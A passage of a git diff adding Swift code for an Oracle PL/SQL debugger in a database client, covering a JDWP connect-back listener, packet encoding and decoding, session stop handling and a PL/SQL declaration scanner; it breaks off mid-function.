[OracleJDWPField] { + if let fields = fieldCache[typeID] { return fields } + let reply = try await connection.send(OracleJDWPCommand.referenceType, OracleJDWPCommand.fields, idData(typeID, .referenceType)) + let fields = try OracleJDWPField.decodeList(reply, sizes: sizes) + fieldCache[typeID] = fields + return fields + } + + private func describe(_ value: OracleJDWPValue, depth: Int = 0) async -> OracleDebugValue { + guard let objectID = value.objectID else { return .unavailable } + guard objectID != 0 else { return .scalar(nil) } + guard var typeReader = try? await send(OracleJDWPCommand.objectReference, OracleJDWPCommand.objectReferenceType, { writer in + writer.id(objectID, .object) + }), (try? typeReader.u8()) != nil, let typeID = try? typeReader.id(.referenceType), + let fields = try? await fields(of: typeID) else { return .unavailable } + switch OracleDebugValueShape(fields: fields) { + case .scalar(let field): + guard let values = try? await objectValues(objectID, fields: [field]), let text = values.first else { + return .unavailable + } + return .scalar(await string(text)) + case .record(let members): + guard depth == 0, let values = try? await objectValues(objectID, fields: members.map(\.id)) else { + return .record([]) + } + var described: [OracleDebugRecordMember] = [] + for (member, memberValue) in zip(members, values) { + if case .scalar(let text) = await describe(memberValue, depth: depth + 1) { + described.append(OracleDebugRecordMember(name: member.name, value: text)) + } + } + return .record(described) + case .collection(let field): + guard let values = try? await objectValues(objectID, fields: [field]), + let arrayID = values.first?.objectID, arrayID != 0, + var reader = try? await send(OracleJDWPCommand.arrayReference, OracleJDWPCommand.arrayLength, { writer in + writer.id(arrayID, .object) + }), let length = try? reader.i32(), length >= 0 else { return .collection(count: nil) } + return .collection(count: Int(length)) + case .opaque: + return .unavailable + } + } + + private func objectValues(_ objectID: UInt64, fields: [UInt64]) async throws -> [OracleJDWPValue] { + var reader = try await send(OracleJDWPCommand.objectReference, OracleJDWPCommand.objectValues) { writer in + writer.id(objectID, .object) + writer.i32(Int32(fields.count)) + for field in fields { writer.id(field, .field) } + } + let count = try reader.count(minimumSize: 1) + var values: [OracleJDWPValue] = [] + for _ in 0.. String? { + guard let id = value.objectID, id != 0, + var reader = try? await send(OracleJDWPCommand.stringReference, OracleJDWPCommand.stringValue, { writer in + writer.id(id, .object) + }) else { return nil } + return try? reader.string() + } + + // MARK: - Stop + + // Closing the socket without Dispose ends the target session in any state: ORA-30687 within a second while it + // was running a loop, and while paused (measured). The server rolls its transaction back with it. + // Closing the socket first fails every reply still awaited, so a read or breakpoint call Stop overlaps throws at + // once, and it ends the target: PL/SQL sees the close and ends with ORA-30687 within a second (measured). + public func stop() async -> OracleDebugStopResult { + if stopRequested { + if !isStopped { + await withCheckedContinuation { stopWaiters.append($0) } + } + return stopResult + } + stopRequested = true + await connection.close() + if let call { + let clock = ContinuousClock() + let deadline = clock.now.advanced(by: OracleDebugStopBudget.total - OracleDebugStopBudget.cleanup) + // A call that never returns to PL/SQL (DBMS_SESSION.SLEEP, measured) does not see the close, so it is + // killed from the helper session, as is one whose own connection failed under it. + var ended = await OracleDebugSupport.endedOnServer(call, within: 1) + if !ended { + ended = await OracleDebugStopBudget.endRunningTarget(clock: clock, budget: clock.now.duration(to: deadline)) { + await OracleDebugSupport.kill( + targetIdentity, + from: helper, + within: OracleDebugStopBudget.seconds(clock.now.duration(to: deadline)) + ) + } waitForEnd: { remaining in + await OracleDebugSupport.endedOnServer(call, within: OracleDebugStopBudget.seconds(remaining)) + } + } + if !ended { + gaveUp = true + target.cancelCurrentQuery() + } + stopResult = ended ? .ended : .unconfirmed(targetIdentity) + } else { + // Before the routine ran the target held no work; the closed socket ends its session. + _ = await OracleDebugSupport.value(of: connectCall, within: 1) + stopResult = .ended + } + state = .ended + post(.connectionClosed) + pump?.cancel() + noticeContinuation.finish() + isStopped = true + let waiters = stopWaiters + stopWaiters.removeAll() + for waiter in waiters { + waiter.resume() + } + return stopResult + } +} diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPListener.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPListener.swift new file mode 100644 index 0000000000..8b2bde323e --- /dev/null +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPListener.swift @@ -0,0 +1,275 @@ +import Foundation +import Network +import os +import OSLog + +private let logger = Logger(subsystem: "com.TablePro", category: "OracleJDWPListener") + +public enum OracleJDWPListenerError: Error, Sendable, Equatable { + case noFreePort(ClosedRange) + // `rejected` lists the addresses that connected and were not the database server's. + case timedOut(rejected: [String]) + case cancelled +} + +// Waits for the database to connect back. It binds the given local addresses on one random port of the range, +// accepts only peers from the database server's addresses, gives each two seconds to send the JDWP handshake, and +// keeps the first that does: every other connection closes and the listener stops. +public final class OracleJDWPListener: @unchecked Sendable { + public let port: UInt16 + private let listeners: [NWListener] + private let queue: DispatchQueue + private let allowedPeers: Set? + private let state = OSAllocatedUnfairLock(initialState: State()) + + // NWConnection is Sendable only from macOS 14; it is thread-safe on every release this runs on. + private struct Peer: @unchecked Sendable { + let connection: NWConnection + } + + private struct State { + var peers: [ObjectIdentifier: Peer] = [:] + var rejected: [String] = [] + var result: Result? + var waiter: CheckedContinuation? + var isFinished = false + } + + static let handshakeSeconds: Double = 2 + static let portAttempts = 64 + + private init(port: UInt16, listeners: [NWListener], queue: DispatchQueue, allowedPeers: Set?) { + self.port = port + self.listeners = listeners + self.queue = queue + self.allowedPeers = allowedPeers + } + + // `allowedPeers` nil accepts any address; `bindAddresses` nil listens on every interface. + public static func open( + ports: ClosedRange, + bindAddresses: [String]?, + allowedPeers: Set? + ) async throws -> OracleJDWPListener { + for port in ports.shuffled().prefix(portAttempts) { + if let listener = await bind(port: port, addresses: bindAddresses, allowedPeers: allowedPeers) { + return listener + } + } + throw OracleJDWPListenerError.noFreePort(ports) + } + + private static func bind(port: UInt16, addresses: [String]?, allowedPeers: Set?) async -> OracleJDWPListener? { + guard let endpointPort = NWEndpoint.Port(rawValue: port) else { return nil } + var made: [NWListener] = [] + for address in addresses ?? [] { + let parameters = NWParameters.tcp + // The required local endpoint carries the port; naming it again in `on:` fails the listener. + parameters.requiredLocalEndpoint = .hostPort(host: NWEndpoint.Host(address), port: endpointPort) + guard let listener = try? NWListener(using: parameters) else { return nil } + made.append(listener) + } + if addresses == nil { + guard let listener = try? NWListener(using: .tcp, on: endpointPort) else { return nil } + made.append(listener) + } + guard !made.isEmpty else { return nil } + let queue = DispatchQueue(label: "com.TablePro.OracleJDWPListener.\(port)") + let instance = OracleJDWPListener(port: port, listeners: made, queue: queue, allowedPeers: allowedPeers) + for listener in made { + listener.newConnectionHandler = { [weak instance] peer in + guard let instance else { + peer.cancel() + return + } + instance.arrived(peer) + } + } + for listener in made { + guard await start(listener, on: queue) else { + for other in made { + other.cancel() + } + return nil + } + } + return instance + } + + private static func start(_ listener: NWListener, on queue: DispatchQueue) async -> Bool { + await withCheckedContinuation { (result: CheckedContinuation) in + let resumed = OSAllocatedUnfairLock(initialState: false) + let resume: @Sendable (Bool) -> Void = { value in + let first = resumed.withLock { done -> Bool in + defer { done = true } + return !done + } + if first { result.resume(returning: value) } + } + listener.stateUpdateHandler = { state in + switch state { + case .ready: resume(true) + case .failed, .cancelled: resume(false) + default: break + } + } + listener.start(queue: queue) + } + } + + public var rejectedPeers: [String] { + state.withLock { $0.rejected } + } + + private func arrived(_ peer: NWConnection) { + let address = Self.address(of: peer.endpoint) + let admitted = state.withLock { current -> Bool in + guard !current.isFinished else { return false } + if let allowedPeers, !allowedPeers.contains(address ?? "") { + current.rejected.append(address ?? String(describing: peer.endpoint)) + return false + } + current.peers[ObjectIdentifier(peer)] = Peer(connection: peer) + return true + } + guard admitted else { + logger.notice("Closed a debugger connection from an address that is not the database server's") + peer.cancel() + return + } + Task { await self.handshake(peer) } + } + + private func handshake(_ peer: NWConnection) async { + let ready = (try? await withOracleTimeout(seconds: Self.handshakeSeconds, onTimeout: { peer.cancel() }) { + await self.start(peer) + }) ?? false + guard ready else { + drop(peer) + return + } + let connection = OracleJDWPConnection(transport: OracleJDWPNetworkTransport(connection: peer)) + do { + try await withOracleTimeout(seconds: Self.handshakeSeconds, onTimeout: { peer.cancel() }) { + try await connection.handshake() + } + } catch { + await connection.close() + drop(peer) + return + } + await claim(connection, peer: peer) + } + + private func start(_ peer: NWConnection) async -> Bool { + await withCheckedContinuation { (result: CheckedContinuation) in + let resumed = OSAllocatedUnfairLock(initialState: false) + let resume: @Sendable (Bool) -> Void = { value in + let first = resumed.withLock { done -> Bool in + defer { done = true } + return !done + } + if first { result.resume(returning: value) } + } + peer.stateUpdateHandler = { state in + switch state { + case .ready: resume(true) + case .failed, .cancelled: resume(false) + default: break + } + } + peer.start(queue: queue) + } + } + + private func drop(_ peer: NWConnection) { + state.withLock { _ = $0.peers.removeValue(forKey: ObjectIdentifier(peer)) } + peer.cancel() + } + + private func claim(_ connection: OracleJDWPConnection, peer: NWConnection) async { + let claimed = state.withLock { current -> (others: [Peer], waiter: CheckedContinuation?)? in + guard !current.isFinished else { return nil } + current.isFinished = true + current.peers.removeValue(forKey: ObjectIdentifier(peer)) + let others = Array(current.peers.values) + current.peers.removeAll() + let waiter = current.waiter + current.waiter = nil + if waiter == nil { current.result = .success(connection) } + return (others, waiter) + } + guard let claimed else { + await connection.close() + return + } + cancelListeners() + for other in claimed.others { + other.connection.cancel() + } + claimed.waiter?.resume(returning: connection) + } + + private func finish(with error: Error) { + let ended = state.withLock { current -> (others: [Peer], waiter: CheckedContinuation?)? in + guard !current.isFinished else { return nil } + current.isFinished = true + let others = Array(current.peers.values) + current.peers.removeAll() + let waiter = current.waiter + current.waiter = nil + if waiter == nil { current.result = .failure(error) } + return (others, waiter) + } + cancelListeners() + guard let ended else { return } + for other in ended.others { + other.connection.cancel() + } + ended.waiter?.resume(throwing: error) + } + + public func accept(timeout: Duration) async throws -> OracleJDWPConnection { + let timer = Task { [weak self] in + guard (try? await Task.sleep(for: timeout)) != nil, let self else { return } + finish(with: OracleJDWPListenerError.timedOut(rejected: rejectedPeers)) + } + defer { timer.cancel() } + return try await withTaskCancellationHandler { + try await withCheckedThrowingContinuation { (continuation: CheckedContinuation) in + let ready = state.withLock { current -> Result? in + if let result = current.result { + current.result = nil + return result + } + if current.isFinished { return .failure(OracleJDWPListenerError.cancelled) } + current.waiter = continuation + return nil + } + if let ready { continuation.resume(with: ready) } + } + } onCancel: { + finish(with: CancellationError()) + } + } + + public func cancel() { + finish(with: OracleJDWPListenerError.cancelled) + } + + private func cancelListeners() { + for listener in listeners { + listener.cancel() + } + } + + static func address(of endpoint: NWEndpoint) -> String? { + guard case let .hostPort(host, _) = endpoint else { return nil } + switch host { + case .ipv4(let address): return OracleDebugNetwork.normalized("\(address)") + case .ipv6(let address): return OracleDebugNetwork.normalized("\(address)") + case .name(let name, _): return OracleDebugNetwork.normalized(name) + @unknown default: return nil + } + } +} diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPPacket.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPPacket.swift new file mode 100644 index 0000000000..c40d1f71ad --- /dev/null +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPPacket.swift @@ -0,0 +1,444 @@ +import Foundation + +public struct OracleJDWPIDSizes: Sendable, Equatable { + public var field: Int + public var method: Int + public var object: Int + public var referenceType: Int + public var frame: Int + + public init(field: Int, method: Int, object: Int, referenceType: Int, frame: Int) { + self.field = field + self.method = method + self.object = object + self.referenceType = referenceType + self.frame = frame + } + + // Measured on 23.26: 4, 4, 4, 4, 8. + public static let oracle = OracleJDWPIDSizes(field: 4, method: 4, object: 4, referenceType: 4, frame: 8) + + // The peer chooses these; an ID wider than 8 bytes cannot be held, and a zero-width one is no ID. + public static func validated(field: Int32, method: Int32, object: Int32, referenceType: Int32, frame: Int32) throws + -> OracleJDWPIDSizes { + let widths = [field, method, object, referenceType, frame].map(Int.init) + guard widths.allSatisfy({ (1...8).contains($0) }) else { throw OracleJDWPError.malformedPacket } + return OracleJDWPIDSizes(field: widths[0], method: widths[1], object: widths[2], referenceType: widths[3], frame: widths[4]) + } +} + +public enum OracleJDWPIDKind: Sendable { + case field + case method + case object + case referenceType + case frame +} + +extension OracleJDWPIDSizes { + func size(of kind: OracleJDWPIDKind) -> Int { + switch kind { + case .field: return field + case .method: return method + case .object: return object + case .referenceType: return referenceType + case .frame: return frame + } + } +} + +public enum OracleJDWPError: Error, Sendable, Equatable { + case truncated + case malformedPacket + case handshakeFailed + case closed + case reply(code: Int) + case timedOut + case unexpectedEvent +} + +public struct OracleJDWPWriter: Sendable { + public private(set) var data = Data() + let sizes: OracleJDWPIDSizes + + public init(sizes: OracleJDWPIDSizes) { + self.sizes = sizes + } + + public mutating func u8(_ value: UInt8) { + data.append(value) + } + + public mutating func i32(_ value: Int32) { + withUnsafeBytes(of: value.bigEndian) { data.append(contentsOf: $0) } + } + + public mutating func i64(_ value: Int64) { + withUnsafeBytes(of: value.bigEndian) { data.append(contentsOf: $0) } + } + + public mutating func string(_ value: String) { + let bytes = Array(value.utf8) + i32(Int32(bytes.count)) + data.append(contentsOf: bytes) + } + + public mutating func id(_ value: UInt64, _ kind: OracleJDWPIDKind) { + let width = min(max(sizes.size(of: kind), 1), 8) + for shift in stride(from: (width - 1) * 8, through: 0, by: -8) { + data.append(UInt8(truncatingIfNeeded: value >> UInt64(shift))) + } + } + + public mutating func location(_ location: OracleJDWPLocation) { + u8(location.typeTag) + id(location.classID, .referenceType) + id(location.methodID, .method) + i64(location.index) + } +} + +public struct OracleJDWPReader: Sendable { + private let bytes: [UInt8] + private var offset = 0 + let sizes: OracleJDWPIDSizes + + public init(_ data: Data, sizes: OracleJDWPIDSizes) { + self.bytes = Array(data) + self.sizes = sizes + } + + public var isAtEnd: Bool { offset >= bytes.count } + + public var remaining: Int { max(bytes.count - offset, 0) } + + // A count the peer sent, before a loop runs on it: never negative, and never more elements than the bytes left + // could hold at `minimumSize` bytes each. + public mutating func count(minimumSize: Int) throws -> Int { + let count = Int(try i32()) + guard count >= 0, count <= remaining / max(minimumSize, 1) else { throw OracleJDWPError.malformedPacket } + return count + } + + private mutating func take(_ count: Int) throws -> ArraySlice { + guard count >= 0, offset + count <= bytes.count else { throw OracleJDWPError.truncated } + defer { offset += count } + return bytes[offset.. UInt8 { + try take(1).first ?? 0 + } + + public mutating func i32() throws -> Int32 { + Int32(bitPattern: UInt32(try unsigned(4))) + } + + public mutating func i64() throws -> Int64 { + Int64(bitPattern: try unsigned(8)) + } + + public mutating func string() throws -> String { + let length = Int(try i32()) + let slice = try take(length) + return String(bytes: slice, encoding: .utf8) ?? String(bytes: slice, encoding: .isoLatin1) ?? "" + } + + public mutating func id(_ kind: OracleJDWPIDKind) throws -> UInt64 { + try unsigned(sizes.size(of: kind)) + } + + public mutating func location() throws -> OracleJDWPLocation { + OracleJDWPLocation( + typeTag: try u8(), + classID: try id(.referenceType), + methodID: try id(.method), + index: try i64() + ) + } + + public mutating func taggedValue() throws -> OracleJDWPValue { + let tag = try u8() + switch tag { + case UInt8(ascii: "B"), UInt8(ascii: "Z"): + return .primitive(tag: tag, bits: try unsigned(1)) + case UInt8(ascii: "C"), UInt8(ascii: "S"): + return .primitive(tag: tag, bits: try unsigned(2)) + case UInt8(ascii: "I"), UInt8(ascii: "F"): + return .primitive(tag: tag, bits: try unsigned(4)) + case UInt8(ascii: "J"), UInt8(ascii: "D"): + return .primitive(tag: tag, bits: try unsigned(8)) + case UInt8(ascii: "V"): + return .void + default: + return .object(tag: tag, id: try id(.object)) + } + } + + private mutating func unsigned(_ width: Int) throws -> UInt64 { + guard (0...8).contains(width) else { throw OracleJDWPError.malformedPacket } + var value: UInt64 = 0 + for byte in try take(width) { + value = value << 8 | UInt64(byte) + } + return value + } +} + +public struct OracleJDWPLocation: Sendable, Hashable { + public let typeTag: UInt8 + public let classID: UInt64 + public let methodID: UInt64 + public let index: Int64 + + public init(typeTag: UInt8 = 1, classID: UInt64, methodID: UInt64, index: Int64) { + self.typeTag = typeTag + self.classID = classID + self.methodID = methodID + self.index = index + } +} + +public enum OracleJDWPValue: Sendable, Equatable { + case primitive(tag: UInt8, bits: UInt64) + case object(tag: UInt8, id: UInt64) + case void + + public static let stringTag = UInt8(ascii: "s") + public static let objectTag = UInt8(ascii: "L") + public static let arrayTag = UInt8(ascii: "[") + + public var objectID: UInt64? { + if case .object(_, let id) = self { return id } + return nil + } +} + +public enum OracleJDWPPacket: Sendable, Equatable { + case command(id: UInt32, commandSet: UInt8, command: UInt8, data: Data) + case reply(id: UInt32, errorCode: UInt16, data: Data) + + static let headerLength = 11 + static let replyFlag: UInt8 = 0x80 + // Nothing this debugger asks for comes near it; a larger length is a peer trying to make the app buffer it. + public static let maximumLength = 16 * 1_024 * 1_024 + + public static let handshake = Data("JDWP-Handshake".utf8) + + public var encoded: Data { + var out = Data() + func append32(_ value: UInt32) { + withUnsafeBytes(of: value.bigEndian) { out.append(contentsOf: $0) } + } + switch self { + case let .command(id, commandSet, command, data): + append32(UInt32(Self.headerLength + data.count)) + append32(id) + out.append(0) + out.append(commandSet) + out.append(command) + out.append(data) + case let .reply(id, errorCode, data): + append32(UInt32(Self.headerLength + data.count)) + append32(id) + out.append(Self.replyFlag) + withUnsafeBytes(of: errorCode.bigEndian) { out.append(contentsOf: $0) } + out.append(data) + } + return out + } + + // Nil until `bytes` holds a whole packet; the consumed length comes back with it. + public static func decode(from bytes: Data) throws -> (packet: OracleJDWPPacket, length: Int)? { + guard bytes.count >= headerLength else { return nil } + let start = bytes.startIndex + func u32(at offset: Int) -> UInt32 { + (0..<4).reduce(UInt32(0)) { $0 << 8 | UInt32(bytes[start + offset + $1]) } + } + let length = Int(u32(at: 0)) + guard length >= headerLength, length <= maximumLength else { throw OracleJDWPError.malformedPacket } + guard bytes.count >= length else { return nil } + let id = u32(at: 4) + let flags = bytes[start + 8] + let body = Data(bytes[(start + headerLength)..<(start + length)]) + if flags & replyFlag != 0 { + let code = UInt16(bytes[start + 9]) << 8 | UInt16(bytes[start + 10]) + return (.reply(id: id, errorCode: code, data: body), length) + } + return (.command(id: id, commandSet: bytes[start + 9], command: bytes[start + 10], data: body), length) + } +} + +public struct OracleJDWPFrameBuffer: Sendable { + private var pending = Data() + + public init() {} + + public mutating func append(_ data: Data) { + pending.append(data) + } + + public mutating func nextPacket() throws -> OracleJDWPPacket? { + guard let (packet, length) = try OracleJDWPPacket.decode(from: pending) else { return nil } + pending = Data(pending.dropFirst(length)) + return packet + } + + public mutating func take(_ count: Int) -> Data? { + guard pending.count >= count else { return nil } + let head = Data(pending.prefix(count)) + pending = Data(pending.dropFirst(count)) + return head + } +} + +public enum OracleJDWPCommand { + public static let virtualMachine: UInt8 = 1 + public static let referenceType: UInt8 = 2 + public static let method: UInt8 = 6 + public static let objectReference: UInt8 = 9 + public static let stringReference: UInt8 = 10 + public static let threadReference: UInt8 = 11 + public static let arrayReference: UInt8 = 13 + public static let eventRequest: UInt8 = 15 + public static let stackFrame: UInt8 = 16 + public static let event: UInt8 = 64 + + public static let version: UInt8 = 1 + public static let classesBySignature: UInt8 = 2 + public static let suspend: UInt8 = 8 + public static let resume: UInt8 = 9 + public static let idSizes: UInt8 = 7 + + public static let signature: UInt8 = 1 + public static let fields: UInt8 = 4 + public static let methods: UInt8 = 5 + public static let staticValues: UInt8 = 6 + + public static let lineTable: UInt8 = 1 + public static let variableTable: UInt8 = 2 + + public static let objectReferenceType: UInt8 = 1 + public static let objectValues: UInt8 = 2 + + public static let stringValue: UInt8 = 1 + public static let frames: UInt8 = 6 + public static let arrayLength: UInt8 = 1 + + public static let set: UInt8 = 1 + public static let clear: UInt8 = 2 + + public static let frameValues: UInt8 = 1 + public static let composite: UInt8 = 100 +} + +public enum OracleJDWPEventKind: UInt8, Sendable { + case singleStep = 1 + case breakpoint = 2 + case classPrepare = 8 + case vmStart = 90 + case vmDeath = 99 +} + +public enum OracleJDWPEvent: Sendable, Equatable { + case vmStart(thread: UInt64) + case classPrepare(requestID: Int32, thread: UInt64, typeID: UInt64, signature: String) + case breakpoint(requestID: Int32, thread: UInt64, location: OracleJDWPLocation) + case singleStep(requestID: Int32, thread: UInt64, location: OracleJDWPLocation) + case vmDeath + case other(kind: UInt8) +} + +public struct OracleJDWPEventSet: Sendable, Equatable { + public let suspendPolicy: UInt8 + public let events: [OracleJDWPEvent] + + public static func decode(_ data: Data, sizes: OracleJDWPIDSizes) throws -> OracleJDWPEventSet { + var reader = OracleJDWPReader(data, sizes: sizes) + let policy = try reader.u8() + // An event is at least its kind and its request id. + let count = try reader.count(minimumSize: 5) + var events: [OracleJDWPEvent] = [] + for _ in 0.. Data { + var writer = OracleJDWPWriter(sizes: sizes) + writer.u8(OracleJDWPEventKind.classPrepare.rawValue) + writer.u8(suspendAll) + writer.i32(1) + writer.u8(modifierClassMatch) + writer.string(pattern) + return writer.data + } + + public static func breakpoint(at location: OracleJDWPLocation, sizes: OracleJDWPIDSizes) -> Data { + var writer = OracleJDWPWriter(sizes: sizes) + writer.u8(OracleJDWPEventKind.breakpoint.rawValue) + writer.u8(suspendAll) + writer.i32(1) + writer.u8(modifierLocationOnly) + writer.location(location) + return writer.data + } + + public static func step(thread: UInt64, depth: StepDepth, sizes: OracleJDWPIDSizes) -> Data { + var writer = OracleJDWPWriter(sizes: sizes) + writer.u8(OracleJDWPEventKind.singleStep.rawValue) + writer.u8(suspendAll) + writer.i32(1) + writer.u8(modifierStep) + writer.id(thread, .object) + writer.i32(stepSizeLine) + writer.i32(depth.rawValue) + return writer.data + } + + public static func clear(kind: OracleJDWPEventKind, requestID: Int32, sizes: OracleJDWPIDSizes) -> Data { + var writer = OracleJDWPWriter(sizes: sizes) + writer.u8(kind.rawValue) + writer.i32(requestID) + return writer.data + } +} diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OraclePLSQLDeclarationScan.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OraclePLSQLDeclarationScan.swift new file mode 100644 index 0000000000..a8798b9be8 --- /dev/null +++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OraclePLSQLDeclarationScan.swift @@ -0,0 +1,582 @@ +import Foundation + +// DBMS_DEBUG has no call that lists a frame's variables; GET_VALUE takes a name. The names come from the unit's +// ALL_SOURCE text: PL/Scope would give exact declarations, but only for units compiled with PLSCOPE_SETTINGS +// 'IDENTIFIERS:ALL' (the default is NONE, and the compile for debug keeps the unit's settings), and on 26ai its +// USAGE_CONTEXT_ID came back 0 for every row, so scopes would still be guessed from lines. A name this scan offers +// that is not in scope comes back from GET_VALUE as no_such_object and is dropped, so the server decides scope. +public struct OraclePLSQLDeclarationScan: Sendable, Equatable { + public enum Kind: Sendable, Equatable { + case parameter + case variable + case constant + case iterator + } + + public struct Declaration: Sendable, Equatable { + public let name: String + public let isQuoted: Bool + public let typeText: String? + public let line: Int + public let kind: Kind + // Nil for a package-level variable. + public let subprogram: Int? + let block: Int? + + // GET_VALUE reads its name as an identifier path, so `"a.b"` unquoted would name member b of a, and a lower + // case or spaced name would not be found at all. + public var lookupName: String { isQuoted ? "\"\(name)\"" : name } + } + + public struct Subprogram: Sendable, Equatable { + public let name: String + public let headerLine: Int + public internal(set) var endLine: Int? + public let parent: Int? + public internal(set) var isDefinition: Bool + + public var depth: Int = 1 + } + + struct Block: Sendable, Equatable { + let startLine: Int + var endLine: Int? + } + + public private(set) var declarations: [Declaration] = [] + public private(set) var subprograms: [Subprogram] = [] + private var blocks: [Block] = [] + + public init(source: String) { + var parser = Parser(tokens: Lexer.tokens(of: source)) + parser.run() + declarations = parser.declarations.filter { declaration in + guard let index = declaration.subprogram else { return true } + return parser.subprograms[index].isDefinition + } + subprograms = parser.subprograms + blocks = parser.blocks + } + + // The header lines of the unit-level subprograms named `name`: every overload, since the first one entered is the + // one the debugger called. + public func headerLines(ofSubprogramNamed name: String) -> [Int] { + subprograms.filter { $0.isDefinition && $0.depth == 1 && $0.name == name }.map(\.headerLine) + } + + public func innermostSubprogram(containing line: Int) -> Int? { + var best: Int? + for (index, subprogram) in subprograms.enumerated() where subprogram.isDefinition { + guard subprogram.headerLine <= line, line <= (subprogram.endLine ?? Int.max) else { continue } + if let current = best, subprograms[current].headerLine > subprogram.headerLine { continue } + best = index + } + return best + } + + // Parameters and locals of the subprogram running at `line`, then of each subprogram around it. + public func candidates(atLine line: Int) -> [Declaration] { + guard let innermost = innermostSubprogram(containing: line) else { return [] } + var chain: [Int] = [] + var current: Int? = innermost + while let index = current { + chain.append(index) + current = subprograms[index].parent + } + var visible: [Declaration] = [] + // The lexer upper-cases unquoted names, so `name` compares as Oracle resolves: `y` is `"Y"`, `x` is not `"x"`. + var innermostBlock: [String: Int] = [:] + for index in chain { + for declaration in declarations where declaration.subprogram == index && encloses(declaration.block, line) { + visible.append(declaration) + // Blocks are numbered as they open, so of the blocks around one line the innermost has the highest. + if let block = declaration.block, block > innermostBlock[declaration.name] ?? -1 { + innermostBlock[declaration.name] = block + } + } + } + var seen: Set = [] + return visible.filter { declaration in + declaration.block == innermostBlock[declaration.name] && seen.insert(declaration.name).inserted + } + } + + private func encloses(_ block: Int?, _ line: Int) -> Bool { + guard let block else { return false } + return blocks[block].startLine <= line && line <= (blocks[block].endLine ?? Int.max) + } + + public var packageVariables: [Declaration] { + declarations.filter { $0.subprogram == nil } + } +} + +extension OraclePLSQLDeclarationScan { + struct Token: Equatable { + enum Kind: Equatable { + case word + case quoted + case symbol + case other + } + + let kind: Kind + let text: String + let line: Int + + func isWord(_ words: String...) -> Bool { + kind == .word && words.contains(text) + } + + func isSymbol(_ symbol: String) -> Bool { + kind == .symbol && text == symbol + } + + var isName: Bool { kind == .word || kind == .quoted } + } + + enum Lexer { + static func tokens(of source: String) -> [Token] { + let characters = Array(source.unicodeScalars) + var tokens: [Token] = [] + var index = 0 + var line = 1 + func peek(_ offset: Int = 0) -> Unicode.Scalar? { + index + offset < characters.count ? characters[index + offset] : nil + } + func isWordStart(_ scalar: Unicode.Scalar) -> Bool { + scalar.properties.isAlphabetic + } + func isWordPart(_ scalar: Unicode.Scalar) -> Bool { + scalar.properties.isAlphabetic || ("0"..."9").contains(scalar) || scalar == "_" || scalar == "$" || scalar == "#" + } + func skipString(closing: Unicode.Scalar, doubled: Bool) { + while let scalar = peek() { + index += 1 + if scalar == "\n" { line += 1 } + if scalar == closing { + if doubled, peek() == closing { + index += 1 + continue + } + if !doubled, peek() == "'" { + index += 1 + return + } + if doubled { return } + } + } + } + while let scalar = peek() { + if scalar == "\n" { + line += 1 + index += 1 + } else if scalar.properties.isWhitespace { + index += 1 + } else if scalar == "-", peek(1) == "-" { + while let next = peek(), next != "\n" { index += 1 } + } else if scalar == "/", peek(1) == "*" { + index += 2 + while let next = peek(), !(next == "*" && peek(1) == "/") { + if next == "\n" { line += 1 } + index += 1 + } + index += 2 + } else if scalar == "'" { + let startLine = line + index += 1 + skipString(closing: "'", doubled: true) + tokens.append(Token(kind: .other, text: "'", line: startLine)) + } else if scalar == "q" || scalar == "Q", peek(1) == "'", let open = peek(2) { + let startLine = line + let closing: Unicode.Scalar + switch open { + case "[": closing = "]" + case "{": closing = "}" + case "(": closing = ")" + case "<": closing = ">" + default: closing = open + } + index += 3 + skipString(closing: closing, doubled: false) + tokens.append(Token(kind: .other, text: "'", line: startLine)) + } else if scalar == "\"" { + let startLine = line + index += 1 + var text = String.UnicodeScalarView() + while let next = peek(), next != "\"" { + if next == "\n" { line += 1 } + text.append(next) + index += 1 + } + index += 1 + tokens.append(Token(kind: .quoted, text: String(text), line: startLine)) + } else if isWordStart(scalar) { + var text = String.UnicodeScalarView() + while let next = peek(), isWordPart(next) { + text.append(next) + index += 1 + } + tokens.append(Token(kind: .word, text: String(text).uppercased(), line: line)) + } else if ("0"..."9").contains(scalar) { + var text = String.UnicodeScalarView() + while let next = peek(), isWordPart(next) || next == "." { + text.append(next) + index += 1 + } + tokens.append(Token(kind: .other, text: String(text), line: line)) + } else if scalar == ":", peek(1) == "=" { + tokens.append(Token(kind: .symbol, text: ":=", line: line)) + index += 2 + } else if scalar == "=", peek(1) == ">" { + tokens.append(Token(kind: .symbol, text: "=>", line: line)) + index += 2 + } else { + tokens.append(Token(kind: .symbol, text: String(scalar), line: line)) + index += 1 + } + } + return tokens + } + } + + struct Parser { + enum Phase { + case declare + case body + } + + enum Frame { + case unit(Phase) + case subprogram(Int, block: Int, Phase) + case block(Int, Phase) + case caseExpression + // A FOR loop's block holds its index, from the FOR to its END LOOP; other loops hold nothing. + case loop(Int?) + } + + let tokens: [Token] + var position = 0 + var stack: [Frame] = [] + var declarations: [Declaration] = [] + var subprograms: [Subprogram] = [] + var blocks: [Block] = [] + var pendingLoopBlock: Int? + + init(tokens: [Token]) { + self.tokens = tokens + } + + var current: Token? { position < tokens.count ? tokens[position] : nil } + + func peekToken(at offset: Int) -> Token? { + position + offset < tokens.count ? tokens[position + offset] : nil + } + + var currentSubprogram: Int? { + for frame in stack.reversed() { + if case .subprogram(let index, _, _) = frame { return index } + } + return nil + } + + var currentBlock: Int? { + for frame in stack.reversed() { + switch frame { + case .subprogram(_, let block, _), .block(let block, _): return block + case .unit, .caseExpression, .loop: continue + } + } + return nil + } + + var subprogramDepth: Int { + stack.reduce(0) { count, frame in + if case .subprogram = frame { return count + 1 } + return count + } + } + + mutating func run() { + readUnitHeader() + while let token = current { + guard let frame = stack.last else { + if token.isWord("PROCEDURE", "FUNCTION") { + readSubprogramHeader() + } else if token.isWord("DECLARE") { + stack.append(.block(openBlock(at: token.line), .declare)) + position += 1 + } else if token.isWord("BEGIN") { + stack.append(.block(openBlock(at: token.line), .body)) + position += 1 + } else { + position += 1 + } + continue + } + switch frame { + case .unit(.declare), .subprogram(_, _, .declare), .block(_, .declare): + readDeclaration() + case 